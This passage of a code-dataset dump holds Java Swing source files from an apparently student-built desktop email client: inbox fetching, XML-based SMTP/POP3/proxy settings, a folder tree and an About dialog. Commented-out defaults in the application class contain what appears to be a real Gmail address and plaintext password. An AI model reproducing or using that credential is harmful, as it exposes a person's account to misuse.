//TreePath treePath = jTree_ThuMucMail.getJTreeThuMucNguoiDung().getPathForRow(0).g
MutableTreeNode treeNode = (MutableTreeNode) model.getRoot();
TreePath treePath = new TreePath(treeNode);
treePath = treePath.pathByAddingChild(treeNode.getChildAt(0));
Kq = mess.length;
//model.valueForPathChanged(treePath, "<html><head></head><body><b style=\"color:red\">" +
// "Inbox (" + Kq + " new)" +
// "</b></body></html>");
jTree_ThuMucMail.getJTreeThuMucNguoiDung().setModel(model);
for (Message message: mess){
int idMail = JFrame_GuiMail.luuMailVaoCSDL((MimeMessage)message,"Mails\\Inbox\\");
JFrame_GuiMail.luuAttachVaoCSDL((MimeMessage)message, idMail);
}
return Kq;
}
private void jButton_Tool_GetMailActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_Tool_GetMailActionPerformed
try {
// TODO add your handling code here:
int soMailMoi = thucHienLayMailMoi();
int conf = JOptionPane.showConfirmDialog(null, "Co " + soMailMoi + " thu moi! Ban co muon mo thu muc inbox ngay khong?",
"Thong bao lay mail thanh cong!", JOptionPane.OK_OPTION);
if (conf == JOptionPane.OK_OPTION){
jPanel_XemMail.setToolTipText("Mails\\Inbox\\");
jXuLy_KhiNguoiDungDoiThuMucDuyetMail("Mails\\Inbox\\");
}
} catch (Exception ex) {
Logger.getLogger(DoAnLyThuyet_JavaOutLookView.class.getName()).log(Level.SEVERE, null, ex);
}
}//GEN-LAST:event_jButton_Tool_GetMailActionPerformed
private void jButton_FindActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_FindActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_jButton_FindActionPerformed
private void jButton_NewMailActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_NewMailActionPerformed
// TODO add your handling code here:
JFrame_GuiMail jFrame_GuiMail = new JFrame_GuiMail();
jFrame_GuiMail.show();
}//GEN-LAST:event_jButton_NewMailActionPerformed
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton1ActionPerformed
// TODO add your handling code here:
JFrame_CauHinhProxy jFrame_cauhinh = new JFrame_CauHinhProxy();
jFrame_cauhinh.show();
}//GEN-LAST:event_jButton1ActionPerformed
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton jButton1;
private javax.swing.JButton jButton_Contact;
private javax.swing.JButton jButton_Find;
private javax.swing.JButton jButton_NewMail;
private javax.swing.JButton jButton_Tool_GetMail;
private javax.swing.JEditorPane jEditorPane1;
private javax.swing.JLabel jLabel1;
private javax.swing.JMenuItem jMenuItem1;
private javax.swing.JMenuItem jMenuItem_Addressbook;
private javax.swing.JMenuItem jMenuItem_Contact;
private javax.swing.JMenuItem jMenuItem_Copy;
private javax.swing.JMenuItem jMenuItem_CopyFolder;
private javax.swing.JMenuItem jMenuItem_Cut;
private javax.swing.JMenuItem jMenuItem_DeleteFolder;
private javax.swing.JMenuItem jMenuItem_Find;
private javax.swing.JMenuItem jMenuItem_Folder;
private javax.swing.JMenuItem jMenuItem_Mail;
private javax.swing.JMenuItem jMenuItem_NewFolder;
private javax.swing.JMenuItem jMenuItem_Paste;
private javax.swing.JMenuItem jMenuItem_Receive;
private javax.swing.JMenuItem jMenuItem_RenameFolder;
private javax.swing.JMenuItem jMenuItem_SelectAll;
private javax.swing.JMenuItem jMenuItem_SelectItems;
private javax.swing.JMenuItem jMenuItem_Task;
private javax.swing.JMenu jMenu_Edit;
private javax.swing.JMenu jMenu_Folder;
private javax.swing.JMenu jMenu_New;
private javax.swing.JMenu jMenu_Open;
private javax.swing.JMenu jMenu_Tools;
private javax.swing.JPanel jPanel_BenPhai;
private javax.swing.JPanel jPanel_BenTrai;
private javax.swing.JPanel jPanel_Tren;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JScrollPane jScrollPane_Giua;
private javax.swing.JScrollPane jScrollPane_ThuMucMail;
private javax.swing.JScrollPane jScrollPane_ThuMucTrenMay;
private javax.swing.JSeparator jSeparator1;
private javax.swing.JSeparator jSeparator2;
private javax.swing.JSeparator jSeparator3;
private javax.swing.JSeparator jSeparator4;
private javax.swing.JSplitPane jSplitPane_GiuaPhai;
private javax.swing.JSplitPane jSplitPane_ThuMuc;
private javax.swing.JSplitPane jSplitPane_TraiVaGiua;
private javax.swing.JToolBar jToolBar1;
private javax.swing.JToolBar jToolBar2;
private javax.swing.JPanel mainPanel;
private javax.swing.JMenuBar menuBar;
private javax.swing.JProgressBar progressBar;
private javax.swing.JLabel statusAnimationLabel;
private javax.swing.JLabel statusMessageLabel;
private javax.swing.JPanel statusPanel;
// End of variables declaration//GEN-END:variables
private final Timer messageTimer;
private final Timer busyIconTimer;
private final Icon idleIcon;
private final Icon[] busyIcons = new Icon[15];
private int busyIconIndex = 0;
private JDialog aboutBox;
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/DoAnLyThuyet_JavaOutLookView.java | Java | asf20 | 37,411 |
/*
* DoAnLyThuyet_JavaOutLookApp.java
*/
package doanlythuyet_javaoutlook;
import java.io.File;
import java.io.IOException;
import java.util.Properties;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.xml.parsers.*;
import javax.xml.transform.dom.*;
import javax.xml.transform.*;
import javax.xml.transform.stream.StreamResult;
import org.jdesktop.application.Application;
import org.jdesktop.application.SingleFrameApplication;
import org.w3c.dom.*;
import org.xml.sax.SAXException;
/**
* The main class of the application.
*/
public class DoAnLyThuyet_JavaOutLookApp extends SingleFrameApplication {
//proxy:
private static String Curdir = System.getProperty("user.dir");
private static String smtp_host;// = "smtp.gmail.com";
private static String pop3_host;// = "pop.gmail.com";
private static String user;// = "blueskyairlines05@gmail.com";
private static String pass;// = "987412365";
private static String proxy;// = "";
private static String port;// = "";
/**
* @return the Curdir
*/
public static String getCurdir() {
return Curdir;
}
/**
* @param aCurdir the Curdir to set
*/
public static void setCurdir(String aCurdir) {
Curdir = aCurdir;
}
/**
* @return the smtp_host
*/
public static String getSmtp_host() {
return smtp_host;
}
/**
* @param aSmtp_host the smtp_host to set
*/
public static void setSmtp_host(String aSmtp_host) {
smtp_host = aSmtp_host;
}
/**
* @return the pop3_host
*/
public static String getPop3_host() {
return pop3_host;
}
/**
* @param aPop3_host the pop3_host to set
*/
public static void setPop3_host(String aPop3_host) {
pop3_host = aPop3_host;
}
/**
* @return the user
*/
public static String getUser() {
return user;
}
/**
* @param aUser the user to set
*/
public static void setUser(String aUser) {
user = aUser;
}
/**
* @return the pass
*/
public static String getPass() {
return pass;
}
/**
* @param aPass the pass to set
*/
public static void setPass(String aPass) {
pass = aPass;
}
/**
* @return the proxy
*/
public static String getProxy() {
return proxy;
}
/**
* @param aProxy the proxy to set
*/
public static void setProxy(String aProxy) {
proxy = aProxy;
}
/**
* @return the port
*/
public static String getPort() {
return port;
}
/**
* @param aPort the port to set
*/
public static void setPort(String aPort) {
port = aPort;
}
public static void LayProxytuXML(String strFileName) throws SAXException{
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder;
try {
builder = factory.newDocumentBuilder();
Document doc = builder.parse(new File(strFileName));
Element root = (Element) doc.getDocumentElement();
NodeList nodelist = root.getElementsByTagName("Config");
Element Ele = (Element)nodelist.item(0);
NamedNodeMap attributes = Ele.getAttributes();
for(int i=0;i<attributes.getLength();i++)
{
Node attributeNode = attributes.item(i);
String name = attributeNode.getNodeName();
String value = attributeNode.getNodeValue();
if (name.equals("smtphost"))
smtp_host = value;
if(name.equals("pop3host"))
pop3_host = value;
if(name.equals("user"))
user = value;
if(name.equals("pass"))
pass = value;
if(name.equals("proxy"))
proxy = value;
if(name.equals("port"))
port = value;
}
//String maSach = root.getAttribute("Inbox");
Transformer xformer = TransformerFactory.newInstance().newTransformer();
xformer.transform(new DOMSource(doc), new StreamResult(new File(strFileName)));
} catch (ParserConfigurationException ex) {
Logger.getLogger(DoAnLyThuyet_JavaOutLookApp.class.getName()).log(Level.SEVERE, null, ex);
}catch (SAXException ex) {
Logger.getLogger(DoAnLyThuyet_JavaOutLookApp.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(DoAnLyThuyet_JavaOutLookApp.class.getName()).log(Level.SEVERE, null, ex);
}catch (TransformerConfigurationException ex) {
Logger.getLogger(DoAnLyThuyet_JavaOutLookApp.class.getName()).log(Level.SEVERE, null, ex);
}catch (TransformerException ex) {
Logger.getLogger(DoAnLyThuyet_JavaOutLookApp.class.getName()).log(Level.SEVERE, null, ex);
}
}
/**
* At startup create and show the main frame of the application.
*/
@Override protected void startup() {
try {
show(new DoAnLyThuyet_JavaOutLookView(this));
} catch (SAXException ex) {
Logger.getLogger(DoAnLyThuyet_JavaOutLookApp.class.getName()).log(Level.SEVERE, null, ex);
}
}
/**
* This method is to initialize the specified window by injecting resources.
* Windows shown in our application come fully initialized from the GUI
* builder, so this additional configuration is not needed.
*/
@Override protected void configureWindow(java.awt.Window root) {
}
/**
* A convenient static getter for the application instance.
* @return the instance of DoAnLyThuyet_JavaOutLookApp
*/
public static DoAnLyThuyet_JavaOutLookApp getApplication() {
return Application.getInstance(DoAnLyThuyet_JavaOutLookApp.class);
}
/**
* Main method launching the application.
*/
public static void main(String[] args) {
launch(DoAnLyThuyet_JavaOutLookApp.class, args);
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/DoAnLyThuyet_JavaOutLookApp.java | Java | asf20 | 6,190 |
package doanlythuyet_javaoutlook;
import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.util.*;
import java.text.SimpleDateFormat;
import javax.swing.*;
import javax.mail.*;
import javax.swing.tree.*;
import javax.swing.event.*;
/**
*
*Tham khao http://www.java2s.com/Code/Java/Swing-JFC/FileTreewithPopupMenu.htm
* @author Dang Thi Phuong Thao
*/
public class CayDuyetFile {
/**
* ICON_CONPUTER la icon hinh compute
*/
public final ImageIcon ICON_COMPUTER =
new ImageIcon(this.getClass().getResource(".\\resources\\Tree_computer.png"));
/**
* ICON_DISK la hinh icon disk
*/
public final ImageIcon ICON_DISK =
new ImageIcon(this.getClass().getResource(".\\resources\\Tree_disk.png"));
/**
* m_tree la 1 tree, duoc su dung de duyet va dua file vao
*/
protected JTree m_tree;
/**
* m_model giu kieu cua node goc, la kieu ma m_tree su dung
*/
protected DefaultTreeModel m_model;
/**
* m_display
*/
// protected JTextField m_display;
/**
* m_popup luu lai nhung action de sao nay dua vao memu
*/
protected JPopupMenu m_popup;
/**
* m_action luu tru action dua vao m_popup
*/
protected Action m_action;
/**
* m_clickedPath luu nhung treepath da dc kick qua
*/
private TreePath m_clickedPath;
private DirSelectionListener dirSelectionListener;
/**
* ham khoi tao CayDuyetFile voi thong so vao la 1 jcsrollPane s
*/
public CayDuyetFile(JScrollPane s) {
Container content = new Container() ;
Object[] hierarchy =
{
"Your mail",
"Inbox",
"Drafts",
"Sent",
"Trash",
"Signature",
};
DefaultMutableTreeNode root = processHierarchy(hierarchy);
/*
DefaultMutableTreeNode top = new DefaultMutableTreeNode(
new IconData(ICON_COMPUTER, null, "Computer"));
DefaultMutableTreeNode node;
File[] roots = File.listRoots();
for (int k = 0; k < roots.length; k++) {
node = new DefaultMutableTreeNode(new IconData(ICON_DISK,
null, new FileNode(roots[k])));
top.add(node);
node.add(new DefaultMutableTreeNode(new Boolean(true)));
}
*/
m_model = new DefaultTreeModel(root);
m_tree = new JTree(m_model);
m_tree.putClientProperty("JTree.lineStyle", "Angled");
TreeCellRenderer renderer = new IconCellRenderer();
m_tree.setCellRenderer(renderer);
m_tree.addTreeExpansionListener(new DirExpansionListener());
dirSelectionListener = new DirSelectionListener();
m_tree.addTreeSelectionListener(dirSelectionListener);
m_tree.getSelectionModel().setSelectionMode(
TreeSelectionModel.SINGLE_TREE_SELECTION);
m_tree.setShowsRootHandles(true);
m_tree.setEditable(false);
m_tree.setScrollsOnExpand(true);
s.getViewport().add(m_tree);
// m_display = new JTextField();
// m_display.setEditable(false);
m_popup = new JPopupMenu();
m_action = new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
if (getM_clickedPath() == null) {
return;
}
if (m_tree.isExpanded(getM_clickedPath())) {
m_tree.collapsePath(getM_clickedPath());
} else {
m_tree.expandPath(getM_clickedPath());
}
}
};
m_popup.add(m_action);
m_popup.addSeparator();
Action a3 = new AbstractAction("Open") {
public void actionPerformed(ActionEvent e) {
m_tree.repaint();
DefaultMutableTreeNode treenode = (DefaultMutableTreeNode) m_tree.getSelectionPath().getLastPathComponent();
IconData iconData = (IconData) treenode.getUserObject();
FileNode fileNode = (FileNode) iconData.getObject();
initEvent_ClickChuotVaoCayDuyetFile(fileNode.getFile().getPath());
}
};
m_popup.add(a3);
m_tree.add(m_popup);
m_tree.addMouseListener(new PopupTrigger());
WindowListener wndCloser = new WindowAdapter() {
public void windowClosing(WindowEvent e) {
System.exit(0);
}
};
//addWindowListener(wndCloser);
//setVisible(true);
}
public DefaultMutableTreeNode processHierarchy(Object[] hierarchy) {
DefaultMutableTreeNode node =
new DefaultMutableTreeNode(hierarchy[0]);
DefaultMutableTreeNode child;
for(int i=1; i<hierarchy.length; i++) {
Object nodeSpecifier = hierarchy[i];
if (nodeSpecifier instanceof Object[]) // Ie node with children
child = processHierarchy((Object[])nodeSpecifier);
else
child = new DefaultMutableTreeNode(nodeSpecifier); // Ie Leaf
node.add(child);
}
return(node);
}
public int capNhatCay(String path) {
String[] strCacDuongDan = path.split("\\\\");
String strDuongDanHienTai = "";
DefaultMutableTreeNode node = (DefaultMutableTreeNode) m_model.getRoot();
File file = null;
//Đầu tiên tìm node của phân vùng (hơi khác biệt vì dùng hàm listRoors)
for (int i = 0; i < File.listRoots().length; i++){
file = File.listRoots()[i];
if (file.getAbsolutePath().contains(strCacDuongDan[0])){//tìm đúng phân vùng
node = (DefaultMutableTreeNode) m_model.getChild(node, i);
strDuongDanHienTai += strCacDuongDan[0];
break;
}
}
int length = strCacDuongDan.length;
//Nếu là quay về thư mục cha thì loại bỏ 2 cấp (.. và thư mục con gần nhất)
if (strCacDuongDan[length - 1] == "..")
length -= 2;
//Lần lượt tiến sâu theo từng node (các đường dẫn tiếp theo)
for (int i = 1; i < length; i++){
//Lấy đường dẫn tiếp theo
String strDuongDanTiepTheo = strCacDuongDan[i];
//Duyệt xem stt của đường dẫn tiếp theo trong thư mục cha
file = new File(strDuongDanHienTai).getAbsoluteFile();
int j = 0;
for (File filecon : file.listFiles())
{
if (!filecon.isDirectory())
continue;
//Tìm thư mục con thì cập nhật node và đường dẫn hiện tại
if (filecon.getName().equalsIgnoreCase(strDuongDanTiepTheo)){
node = (DefaultMutableTreeNode) m_model.getChild(node, j);
strDuongDanHienTai += "\\" + strDuongDanTiepTheo;
break;
}
else //tăng số thứ tự lên
j++;
}
}
final FileNode filenode = new FileNode(file);
final DefaultMutableTreeNode finalNode = node;
//cập nhật cây
TreePath tf = new TreePath(m_model.getPathToRoot(finalNode));
if (m_clickedPath != tf)
m_tree.fireTreeExpanded(tf);
return m_tree.getSelectionRows()[0] * m_tree.getRowHeight();
}
/**
* lay ra 1 node tren tree
* @param path la duong dan treepath
* @return 1 node
*/
DefaultMutableTreeNode getTreeNode(TreePath path) {
return (DefaultMutableTreeNode) (path.getLastPathComponent());
}
/**
*
* @param node
* @return
*/
FileNode getFileNode(DefaultMutableTreeNode node) {
if (node == null) {
return null;
}
Object obj = node.getUserObject();
if (obj instanceof IconData) {
obj = ((IconData) obj).getObject();
}
if (obj instanceof FileNode) {
return (FileNode) obj;
} else {
return null;
}
}
//Các hàm sau phục vụ cho việc gởi sự kiện click chuột vào bảng ra ngoài (tham khảo từ nhiều nguồn trên mạng)
//http://www.exampledepot.com/egs/java.util/CustEvent.html
// Tạo một listener list
protected javax.swing.event.EventListenerList listenerList =
new javax.swing.event.EventListenerList();
/**
* Phát sinh sử kiện click chuột vào tree
* @param evt tham số cho sự kiện click chuột vào tree (ở đây là tên của file đang được chọn)
*/
// This private class is used to fire MyEvents
void initEvent_ClickChuotVaoCayDuyetFile(String evt) {
Object[] listeners = listenerList.getListenerList();
// Each listener occupies two elements - the first is the listener class
// and the second is the listener instance
for (int i = 0; i < listeners.length; i += 2) {
if (listeners[i] == EventListener_ClickChuotVaoCayDuyetFile.class) {
((EventListener_ClickChuotVaoCayDuyetFile) listeners[i + 1]).Event_ClickChuotVaoCayDuyetFile_Occurred(evt);
}
}
}
/**
* Đăng ký sự kiện cho classes
* @param listener Sự kiện cần đăng ký
*/
public void addEventListener_ClickChuotVaoCayDuyetFile(EventListener_ClickChuotVaoCayDuyetFile listener) {
listenerList.add(EventListener_ClickChuotVaoCayDuyetFile.class, listener);
}
/**
* Gỡ bỏ sự kiện khỏi classes
* @param listener Sự kiện cần gỡ bỏ
*/
public void delEventListener_ClickChuotVaoCayDuyetFile(EventListener_ClickChuotVaoCayDuyetFile listener) {
listenerList.remove(EventListener_ClickChuotVaoCayDuyetFile.class, listener);
}
/**
* cap nhat lai cay duyet file sao khi click chuot vao bang
* @param tree la cay duyet file hien tai
* @param st_file file dang dc chon
*/
public void capNhatCay(CayDuyetFile tree, String st_file) {
tree.initEvent_ClickChuotVaoCayDuyetFile(st_file);
tree.addEventListener_ClickChuotVaoCayDuyetFile(new EventListener_ClickChuotVaoCayDuyetFile() {
public void Event_ClickChuotVaoCayDuyetFile_Occurred(String str_fileduocchon) {
}
});
}
/**
* @return the dirSelectionListener
*/
public DirSelectionListener getDirSelectionListener() {
return dirSelectionListener;
}
/**
* @param dirSelectionListener the dirSelectionListener to set
*/
public void setDirSelectionListener(DirSelectionListener dirSelectionListener) {
this.dirSelectionListener = dirSelectionListener;
}
/**
* @return the m_clickedPath
*/
public TreePath getM_clickedPath() {
return m_clickedPath;
}
/**
* Lop PopupTrigger
*/
// NEW
class PopupTrigger extends MouseAdapter {
@Override
public void mousePressed(MouseEvent e)
{
JTree tree = (JTree)e.getSource();
//tree.getPathForRow(0).
int x = e.getX();
int y = e.getY();
TreePath path = m_tree.getPathForLocation(x, y);
//m_model.valueForPathChanged(path, "Thanh");
String selecttext = path.getPath()[path.getPathCount() - 1].toString();
initEvent_ClickChuotVaoCayDuyetFile(selecttext);
}
@Override
public void mouseReleased(MouseEvent e) {
if (e.isPopupTrigger()) {
int x = e.getX();
int y = e.getY();
TreePath path = m_tree.getPathForLocation(x, y);
if (path != null) {
if (m_tree.isExpanded(path)) {
m_action.putValue(Action.NAME, "Collapse");
} else {
m_action.putValue(Action.NAME, "Expand");
}
m_popup.show(m_tree, x, y);
m_clickedPath = path;
}
}
}
}
// Make sure expansion is threaded and updating the tree model
// only occurs within the event dispatching thread.
/**
* Lop DirExpansionListener
*/
class DirExpansionListener implements TreeExpansionListener {
public void treeExpanded(TreeExpansionEvent event) {
final DefaultMutableTreeNode node = getTreeNode(
event.getPath());
final FileNode fnode = getFileNode(node);
Thread runner = new Thread() {
public void run() {
if (fnode != null && fnode.expand(node)) {
Runnable runnable = new Runnable() {
public void run() {
m_model.reload(node);
}
};
SwingUtilities.invokeLater(runnable);
}
}
};
runner.start();
m_tree.setSelectionPath(event.getPath());
}
public void treeCollapsed(TreeExpansionEvent event) {
}
}
/**
* Lop Dir SelectionListerner
*/
class DirSelectionListener
implements TreeSelectionListener {
public void valueChanged(TreeSelectionEvent event) {
DefaultMutableTreeNode node = getTreeNode(
event.getPath());
FileNode fnode = getFileNode(node);
if (fnode != null) {
// m_display.setText(fnode.getFile().
/// getAbsolutePath());
//initEvent_ClickChuotVaoCayDuyetFile(fnode.getFile().getAbsolutePath());
}
// else
// m_display.setText("");
}
}
}
/**
* Lop IconCellRenderer
* @author Dang Thi Phuong Thao
*/
class IconCellRenderer
extends JLabel
implements TreeCellRenderer {
protected Color m_textSelectionColor;
protected Color m_textNonSelectionColor;
protected Color m_bkSelectionColor;
protected Color m_bkNonSelectionColor;
protected Color m_borderSelectionColor;
protected boolean m_selected;
public IconCellRenderer() {
super();
m_textSelectionColor = UIManager.getColor(
"Tree.selectionForeground");
m_textNonSelectionColor = UIManager.getColor(
"Tree.textForeground");
m_bkSelectionColor = UIManager.getColor(
"Tree.selectionBackground");
m_bkNonSelectionColor = UIManager.getColor(
"Tree.textBackground");
m_borderSelectionColor = UIManager.getColor(
"Tree.selectionBorderColor");
setOpaque(false);
}
public Component getTreeCellRendererComponent(JTree tree,
Object value, boolean sel, boolean expanded, boolean leaf,
int row, boolean hasFocus) {
DefaultMutableTreeNode node =
(DefaultMutableTreeNode) value;
Object obj = node.getUserObject();
setText(obj.toString());
if (obj instanceof Boolean) {
setText("Retrieving data...");
}
if (obj instanceof IconData) {
IconData idata = (IconData) obj;
if (expanded) {
setIcon(idata.getExpandedIcon());
} else {
setIcon(idata.getIcon());
}
} else {
setIcon(null);
}
setFont(tree.getFont());
setForeground(sel ? m_textSelectionColor : m_textNonSelectionColor);
setBackground(sel ? m_bkSelectionColor : m_bkNonSelectionColor);
m_selected = sel;
return this;
}
public void paintComponent(Graphics g) {
Color bColor = getBackground();
Icon icon = getIcon();
g.setColor(bColor);
int offset = 0;
if (icon != null && getText() != null) {
offset = (icon.getIconWidth() + getIconTextGap());
}
g.fillRect(offset, 0, getWidth() - 1 - offset,
getHeight() - 1);
if (m_selected) {
g.setColor(m_borderSelectionColor);
g.drawRect(offset, 0, getWidth() - 1 - offset, getHeight() - 1);
}
super.paintComponent(g);
}
}
/**
* Lop IconData mo ta mot doi tuong chung cho cac node
* @author Dang Thi Phuong Thao
*/
class IconData {
protected Icon m_icon;
protected Icon m_expandedIcon;
protected Object m_data;
public IconData(Icon icon, Object data) {
m_icon = icon;
m_expandedIcon = null;
m_data = data;
}
public IconData(Icon icon, Icon expandedIcon, Object data) {
m_icon = icon;
m_expandedIcon = expandedIcon;
m_data = data;
}
public Icon getIcon() {
return m_icon;
}
public Icon getExpandedIcon() {
return m_expandedIcon != null ? m_expandedIcon : m_icon;
}
public Object getObject() {
return m_data;
}
public String toString() {
return m_data.toString();
}
}
/**
* FileNode la 1 doi tuong file, la mot node tren tree
* @author Dang Thi Phuong Thao
*/
class FileNode {
public final ImageIcon ICON_FOLDER =
new ImageIcon(this.getClass().getResource(".\\resources\\Tree_folder.png"));
public final ImageIcon ICON_EXPANDEDFOLDER =
new ImageIcon(this.getClass().getResource(".\\resources\\Tree_expandedfolder.png"));
protected File m_file;
public FileNode(File file) {
m_file = file;
}
public File getFile() {
return m_file;
}
/**
* Lay ten file va chuyen sang dang chuoi.
* @return
*/
public String toString() {
return m_file.getName().length() > 0 ? m_file.getName() : m_file.getPath();
}
/**
* Kiem tra xem 1 node co the co expand ra node con ko
* @param parent : node cha
* @return: true neu expand dc, false neu expand ko dc
*/
public boolean expand(DefaultMutableTreeNode parent) {
DefaultMutableTreeNode flag =
(DefaultMutableTreeNode) parent.getFirstChild();
if (flag == null) // No flag
{
return false;
}
Object obj = flag.getUserObject();
if (!(obj instanceof Boolean)) {
return false; // Already expanded
}
parent.removeAllChildren(); // Remove Flag
File[] files = listFiles();
if (files == null) {
return true;
}
Vector v = new Vector();
for (int k = 0; k < files.length; k++) {
File f = files[k];
if (!(f.isDirectory())) {
continue;
}
FileNode newNode = new FileNode(f);
boolean isAdded = false;
for (int i = 0; i < v.size(); i++) {
FileNode nd = (FileNode) v.elementAt(i);
if (newNode.compareTo(nd) < 0) {
v.insertElementAt(newNode, i);
isAdded = true;
break;
}
}
if (!isAdded) {
v.addElement(newNode);
}
}
for (int i = 0; i < v.size(); i++) {
FileNode nd = (FileNode) v.elementAt(i);
IconData idata = new IconData(ICON_FOLDER,
ICON_EXPANDEDFOLDER, nd);
DefaultMutableTreeNode node = new DefaultMutableTreeNode(idata);
parent.add(node);
if (nd.hasSubDirs()) {
node.add(new DefaultMutableTreeNode(
new Boolean(true)));
}
}
return true;
}
/**
* Kiem tra xem trong cac file co thu muc con ko
* @return true neu co thu muc con, false neu ko co
*/
public boolean hasSubDirs() {
File[] files = listFiles();
if (files == null) {
return false;
}
for (int k = 0; k < files.length; k++) {
if (files[k].isDirectory()) {
return true;
}
}
return false;
}
public int compareTo(FileNode toCompare) {
return m_file.getName().compareToIgnoreCase(
toCompare.m_file.getName());
}
/**
* lay ra danh sach cac file neu co
* neu ko co thi thong bao loi
* @return danh sach cac file co trong m_file
*/
protected File[] listFiles() {
if (!m_file.isDirectory()) {
return null;
}
try {
return m_file.listFiles();
} catch (Exception ex) {
JOptionPane.showMessageDialog(null,
"Error reading directory " + m_file.getAbsolutePath(),
"Warning", JOptionPane.WARNING_MESSAGE);
return null;
}
}
} | 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/CayDuyetFile.java | Java | asf20 | 20,975 |
/*
* DoAnLyThuyet_JavaOutLookAboutBox.java
*/
package doanlythuyet_javaoutlook;
//import java.awt.Desktop.Action;
import org.jdesktop.application.Action;
public class DoAnLyThuyet_JavaOutLookAboutBox extends javax.swing.JDialog {
public DoAnLyThuyet_JavaOutLookAboutBox(java.awt.Frame parent) {
super(parent);
initComponents();
getRootPane().setDefaultButton(closeButton);
}
@Action public void closeAboutBox() {
dispose();
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
closeButton = new javax.swing.JButton();
javax.swing.JLabel appTitleLabel = new javax.swing.JLabel();
javax.swing.JLabel versionLabel = new javax.swing.JLabel();
javax.swing.JLabel appVersionLabel = new javax.swing.JLabel();
javax.swing.JLabel vendorLabel = new javax.swing.JLabel();
javax.swing.JLabel appVendorLabel = new javax.swing.JLabel();
javax.swing.JLabel homepageLabel = new javax.swing.JLabel();
javax.swing.JLabel appHomepageLabel = new javax.swing.JLabel();
javax.swing.JLabel appDescLabel = new javax.swing.JLabel();
javax.swing.JLabel imageLabel = new javax.swing.JLabel();
setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getResourceMap(DoAnLyThuyet_JavaOutLookAboutBox.class);
setTitle(resourceMap.getString("title")); // NOI18N
setModal(true);
setName("aboutBox"); // NOI18N
setResizable(false);
javax.swing.ActionMap actionMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getActionMap(DoAnLyThuyet_JavaOutLookAboutBox.class, this);
closeButton.setAction(actionMap.get("closeAboutBox")); // NOI18N
closeButton.setName("closeButton"); // NOI18N
appTitleLabel.setFont(appTitleLabel.getFont().deriveFont(appTitleLabel.getFont().getStyle() | java.awt.Font.BOLD, appTitleLabel.getFont().getSize()+4));
appTitleLabel.setText(resourceMap.getString("Application.title")); // NOI18N
appTitleLabel.setName("appTitleLabel"); // NOI18N
versionLabel.setFont(versionLabel.getFont().deriveFont(versionLabel.getFont().getStyle() | java.awt.Font.BOLD));
versionLabel.setText(resourceMap.getString("versionLabel.text")); // NOI18N
versionLabel.setName("versionLabel"); // NOI18N
appVersionLabel.setText(resourceMap.getString("Application.version")); // NOI18N
appVersionLabel.setName("appVersionLabel"); // NOI18N
vendorLabel.setFont(vendorLabel.getFont().deriveFont(vendorLabel.getFont().getStyle() | java.awt.Font.BOLD));
vendorLabel.setText(resourceMap.getString("vendorLabel.text")); // NOI18N
vendorLabel.setName("vendorLabel"); // NOI18N
appVendorLabel.setText(resourceMap.getString("Application.vendor")); // NOI18N
appVendorLabel.setName("appVendorLabel"); // NOI18N
homepageLabel.setFont(homepageLabel.getFont().deriveFont(homepageLabel.getFont().getStyle() | java.awt.Font.BOLD));
homepageLabel.setText(resourceMap.getString("homepageLabel.text")); // NOI18N
homepageLabel.setName("homepageLabel"); // NOI18N
appHomepageLabel.setText(resourceMap.getString("Application.homepage")); // NOI18N
appHomepageLabel.setName("appHomepageLabel"); // NOI18N
appDescLabel.setText(resourceMap.getString("appDescLabel.text")); // NOI18N
appDescLabel.setName("appDescLabel"); // NOI18N
imageLabel.setIcon(resourceMap.getIcon("imageLabel.icon")); // NOI18N
imageLabel.setName("imageLabel"); // NOI18N
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(imageLabel)
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(versionLabel)
.addComponent(vendorLabel)
.addComponent(homepageLabel))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(appVersionLabel)
.addComponent(appVendorLabel)
.addComponent(appHomepageLabel)))
.addComponent(appTitleLabel, javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(appDescLabel, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 266, Short.MAX_VALUE)
.addComponent(closeButton))
.addContainerGap())
);
layout.setVerticalGroup(
